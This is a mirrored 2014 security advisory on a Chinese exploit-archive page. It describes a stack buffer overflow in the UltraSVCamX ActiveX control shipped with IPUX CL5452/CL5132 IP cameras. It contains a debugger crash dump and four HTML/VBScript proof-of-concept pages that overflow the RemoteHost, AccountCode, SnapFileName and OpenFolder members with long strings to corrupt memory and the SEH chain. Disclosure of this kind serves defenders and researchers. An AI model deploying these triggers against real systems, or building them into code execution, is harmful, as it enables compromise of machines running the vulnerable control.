首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
IPUX CL5452/CL5132 IP Camera Stack Buffer Overflow
来源:zeroscience.mk 作者:LiquidWorm 发布时间:2014-12-02  
IPUX CL5452/CL5132 IP Camera (UltraSVCamX.ocx) ActiveX Stack Buffer Overflow


Vendor: Big Good Holdings Limited | Fitivision Technology Inc.
Product web page: http://www.ipux.net | http://www.fitivision.com
Affected version: Bullet Type ICL5132 (firmware: ICL5132 2.0.0-2 20130730 r1112)
                  Bullet Type ICL5452

Summary: The device is H.264 Wired/Wireless IP Camera with 1.3 Mega-pixel sensor.
With high performance H.264 video compression, the file size of video stream is
extremely reduced, as to optimize the network bandwidth efficiency. It has full
Pan/Tilt function and 3X digital zoom feature for a larger space monitoring. The
built-in USB port provides a convenient and portable storage option for local storage
of event and schedule recording, especially network disconnected.

Desc: The UltraSVCam ActiveX Control 'UltraSVCamX.ocx' suffers from a stack buffer
overflow vulnerability when parsing large amount of bytes to several functions in
UltraSVCamLib, resulting in memory corruption overwriting several registers including
the SEH. An attacker can gain access to the system of the affected node and execute
arbitrary code.

----------------------------------------------------------------------------------

(3ef0.3e0c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\Downloaded Program Files\UltraSVCamX.ocx - 
eax=41414149 ebx=00000001 ecx=00003e0c edx=02163f74 esi=41414141 edi=02163f74
eip=77e8466c esp=003eef8c ebp=003eefc0 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
ntdll!RtlDeleteCriticalSection+0x77:
77e8466c 833800          cmp     dword ptr [eax],0    ds:002b:41414149=????????

----------------------------------------------------------------------------------

Tested on: Microsoft Windows 7 Professional SP1 (EN)


Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
                              @zeroscience


Advisory ID: ZSL-2014-5213
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5213.php


16.11.2014

---


Properties:
-----------

FileDescription		UltraSVCam ActiveX Control
FileVersion		1, 0, 53, 34 and 1, 0, 53, 33
InternalName		UltraSVCamX
OriginalFileName	UltraSVCamX.ocx
ProductName		UltraSVCam device ActiveX Control
ProductVersion		1, 0, 53, 34 and 1, 0, 53, 33


List of members:
----------------

Interface IUltraSVCamX : IDispatch
Default Interface: True
Members : 51
	RemoteHost
	RemotePort
	AccountCode
	Password
	UserName
	fChgImageSize
	ImgWidth
	ImgHeight
	SnapFileName
	AVIRecStart
	SetImgScale
	OpenFolder
	OpenFileDlg
	TriggerStatus
	AVIRecStatus
	PlayVideo
	SetAutoScale
	SetPTUserAllow
	SetLanguage
	SetFullScreen
	SetZoom
	SetDirectShow
	SetROIParam
	FOpen
	FSeek
	FDeleteFile


Vulnerable members of the class:
--------------------------------

RemoteHost
AccountCode
SnapFileName
OpenFolder


PoC(s):
-------


---1


<html>
<object classid='clsid:33AD836E-B04E-4114-B39F-AB77AAA08487' id='target' />
<script language='vbscript'>
targetFile = "C:\Windows\Downloaded Program Files\UltraSVCamX.ocx"
prototype  = "Property Let RemoteHost As String"
memberName = "RemoteHost"
progid     = "UltraSVCamLib.UltraSVCamX"
argCount   = 1
arg1=String(11284, "A")
target.RemoteHost = arg1
</script>
</html>


---2


<html>
<object classid='clsid:33AD836E-B04E-4114-B39F-AB77AAA08487' id='target' />
<script language='vbscript'>
targetFile = "C:\Windows\Downloaded Program Files\UltraSVCamX.ocx"
prototype  = "Property Let AccountCode As String"
memberName = "AccountCode"
progid     = "UltraSVCamLib.UltraSVCamX"
argCount   = 1
arg1=String(1044, "A")
target.AccountCode = arg1
</script>
</html>


---3


<html>
<object classid='clsid:33AD836E-B04E-4114-B39F-AB77AAA08487' id='target' />
<script language='vbscript'>
targetFile = "C:\Windows\Downloaded Program Files\UltraSVCamX.ocx"
prototype  = "Property Let SnapFileName As String"
memberName = "SnapFileName"
progid     = "UltraSVCamLib.UltraSVCamX"
argCount   = 1
arg1=String(11284, "A")
target.SnapFileName = arg1
</script>
</html>


---4


<html>
<object classid='clsid:33AD836E-B04E-4114-B39F-AB77AAA08487' id='target' />
<script language='vbscript'>
targetFile = "C:\Windows\Downloaded Program Files\UltraSVCamX.ocx"
prototype  = "Function OpenFolder ( ByVal sInitPath As String ) As String"
memberName = "OpenFolder"
progid     = "UltraSVCamLib.UltraSVCamX"
argCount   = 1
arg1=String(2068, "A")
target.OpenFolder arg1 
</script>
</html>

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·IPUX CS7522/CS2330/CS2030 IP C
·IBM Endpoint Manager For Mobil
·Mac OS X IOKit Keyboard Driver
·Microsoft Windows Win32k.sys -
·Tincd Post-Authentication Remo
·Windows Kerberos - Elevation o
·Microsoft Internet Explorer Wi
·Tiny Server 1.1.9 - Arbitrary
·Tiny Server 1.1.9 Arbitrary Fi
·Flat Calendar 1.1 HTML Injecti
·WordPress 4.0 Denial Of Servic
·BulletProof FTP Client 2010 Bu
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved